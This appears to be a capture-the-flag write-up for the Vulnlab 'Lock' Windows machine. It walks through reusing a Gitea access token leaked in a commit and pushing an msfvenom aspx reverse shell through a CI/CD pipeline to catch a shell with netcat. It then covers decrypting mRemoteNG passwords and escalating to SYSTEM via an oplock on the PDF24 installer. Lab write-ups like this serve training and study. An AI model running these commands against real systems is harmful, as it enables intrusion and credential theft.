Lock is an easy windows box from Vulnlab created by xct and kozmer. It involves gaining a foothold by abusing CI/CD in Gitea to upload a shell, decrypting mRemoteNG configs, and gaining system access by exploiting the MSI installer in PDF24 Creator.
NMAP
As always, we start with a standard nmap scan
1 2 3 4 5 6
PORT STATE SERVICE 80/tcp open http 445/tcp open microsoft-ds 3000/tcp open ppp 3389/tcp open ms-wbt-server 5357/tcp open wsdapi
➜ sudo nmap -sCV -p80,445,3000,3389,5357 --min-rate=5000 10.10.78.126 | tee nmap.txt [sudo] password for serioton: Starting Nmap 7.94SVN ( <https://nmap.org> ) at 2024-01-19 08:18 EST Nmap scan report for lock.vl (10.10.78.126) Host is up (0.049s latency).
PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 |_http-title: Lock - Index |_http-server-header: Microsoft-IIS/10.0 | http-methods: |_ Potentially risky methods: TRACE 445/tcp open microsoft-ds? 3000/tcp open ppp? | fingerprint-strings: | GenericLines, Help, RTSPRequest: | HTTP/1.1 400 Bad Request | Content-Type: text/plain; charset=utf-8 | Connection: close | Request | GetRequest: | HTTP/1.0 200 OK | Cache-Control: max-age=0, private, must-revalidate, no-transform | Content-Type: text/html; charset=utf-8 .... HttpOnly; SameSite=Lax | X-Frame-Options: SAMEORIGIN | Date: Fri, 19 Jan 2024 13:18:29 GMT | <!DOCTYPE html> | <html lang="en-US" class="theme-auto"> | <head> | <meta name="viewport" content="width=device-width, initial-scale=1"> | <title>Gitea: Git with a cup of tea</title> .... | HTTPOptions: | HTTP/1.0 405 Method Not Allowed | Allow: HEAD | Allow: GET | Cache-Control: max-age=0, private, must-revalidate, no-transform | Set-Cookie: i_like_gitea=8754cc9f87bf5b93; Path=/; HttpOnly; SameSite=Lax | Set-Cookie: _csrf=JMeupsqJURAdLO4SvVNoOVySlMM6MTcwNTY3MDMxNTA1NTIzMjMwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax | X-Frame-Options: SAMEORIGIN | Date: Fri, 19 Jan 2024 13:18:35 GMT |_ Content-Length: 0 3389/tcp open ms-wbt-server Microsoft Terminal Services | rdp-ntlm-info: | Target_Name: LOCK | NetBIOS_Domain_Name: LOCK | NetBIOS_Computer_Name: LOCK | DNS_Domain_Name: Lock | DNS_Computer_Name: Lock | Product_Version: 10.0.20348 |_ System_Time: 2024-01-19T13:19:53+00:00 | ssl-cert: Subject: commonName=Lock | Not valid before: 2023-12-27T14:19:36 |_Not valid after: 2024-06-27T14:19:36 |_ssl-date: 2024-01-19T13:20:32+00:00; -2s from scanner time. 5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Service Unavailable |_http-server-header: Microsoft-HTTPAPI/2.0 ...
From the Nmap scan, we can see there are 5 ports open.
WEB
We start by looking at the website on port 80, but there is nothing interesting so far.
GITEA
We have Gitea running on port 3000, so let’s go there. There is an interesting script inside the dev-scripts repository of the ellen.freeman user http://lock.vl:3000/ellen.freeman/dev-scripts/src/branch/main/repos.py which looks like it’s using a gitea access token. If we go to the commits we can see the Gitea access token is there in the initial commit:
1 2 3 4
... # store this in env instead at some point PERSONAL_ACCESS_TOKEN = '<REDACTED>' ...
Great, now we have the access token. What we can do with it? We can place it inside the script we just got and run it like this:
➜ cd website ➜ ls assets changelog.txt index.html readme.md
This looks like it’s the website running on port 80. The README.md file mentions something interesting
1 2 3 4
➜ cat readme.md # New Project Website
CI/CD integration is now active - changes to the repository will automatically be deployed to the webserver
Shell as ellen.freeman
The README file suggests that any changes made to the repository, such as adding or modifying files, will automatically be deployed to the associated web server. So the idea here to commit an aspx shell, which the CI/CD pipeline will then automatically deploy to the web server. Once deployed, we can get a shell by accessing http://lock.vl/shell.aspx. Let’s execute the attack. First, we need to generate an aspx shell using msfvenom like this:
1 2 3 4 5 6 7
➜ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.8.0.210 LPORT=443 -f aspx -o exploit.aspx [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 460 bytes Final size of aspx file: 3402 bytes Saved as: exploit.aspx
After that, we need to add the exploit.aspx file to our Git staging area and commit the changes:
Finally, we push the commit to the remote repository
1 2 3 4 5 6 7 8 9 10 11
➜ git push origin main Enumerating objects: 4, done. Counting objects: 100% (4/4), done. Delta compression using up to 4 threads Compressing objects: 100% (3/3), done. Writing objects: 100% (3/3), 1.41 KiB | 1.42 MiB/s, done. Total 3 (delta 1), reused 0 (delta 0), pack-reused 0 remote: . Processing 1 references remote: Processed 1 references in total To <http://lock.vl:3000/ellen.freeman/website> 73cdcc1..d182b50 main -> main
Now, let’s setup a listener and then request our shell like this
1 2
➜ rlwrap nc -nlvp 443 listening on [any] 443 ...
1
➜ curl <http://lock.vl/exploit.aspx>
We got a shell as the lock\\ellen.freeman user :)
1 2 3 4 5 6 7 8 9
➜ rlwrap nc -nlvp 443 listening on [any] 443 ... connect to [10.8.0.210] from (UNKNOWN) [10.10.78.126] 50949 Microsoft Windows [Version 10.0.20348.2159] (c) Microsoft Corporation. All rights reserved.
This is a mRemoteNG config file belonging to the gale.dekarios user. However, the password is encrypted. A quick google search for “mremoteng password decrypt” leads us to this tool https://github.com/gquere/mRemoteNG_password_decrypt that decrypts mRemoteNG configuration files. Running it gives us the decrypted password:
The installer should start. Now, we need to set an oplock on the faxPrnInst.log file as soon as it gets read. We can do that using the SetOpLock.exe tool from https://github.com/googleprojectzero/symboliclink-testing-tools. First let’s transfer it to the victim machine
1 2 3 4 5 6 7 8
PS C:\\temp> iwr <http://10.8.0.210/SetOpLock.exe> -outfile SetOpLock.exe PS C:\\temp> ls
Directory: C:\\temp
Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 1/19/2024 6:06 AM 116224 SetOpLock.exe
Then we execute it like this:
1
C:\\temp\\SetOpLock.exe "C:\\Program Files\\PDF24\\faxPrnInst.log" r
As per the blogpost, if the opis set, the cmd window that opens when pdf24-PrinterInstall.exe is executed doesn’t close:
1 2
PS C:\\temp> C:\\temp\\SetOpLock.exe "C:\\Program Files\\PDF24\\faxPrnInst.log" r OpLock triggered, hit ENTER to close oplock
At this point, we need to follow these steps to spawn a SYSTEM shell:
right click on the top bar of the cmd window.
click on properties.
under options click on the “legacy console mode” link.
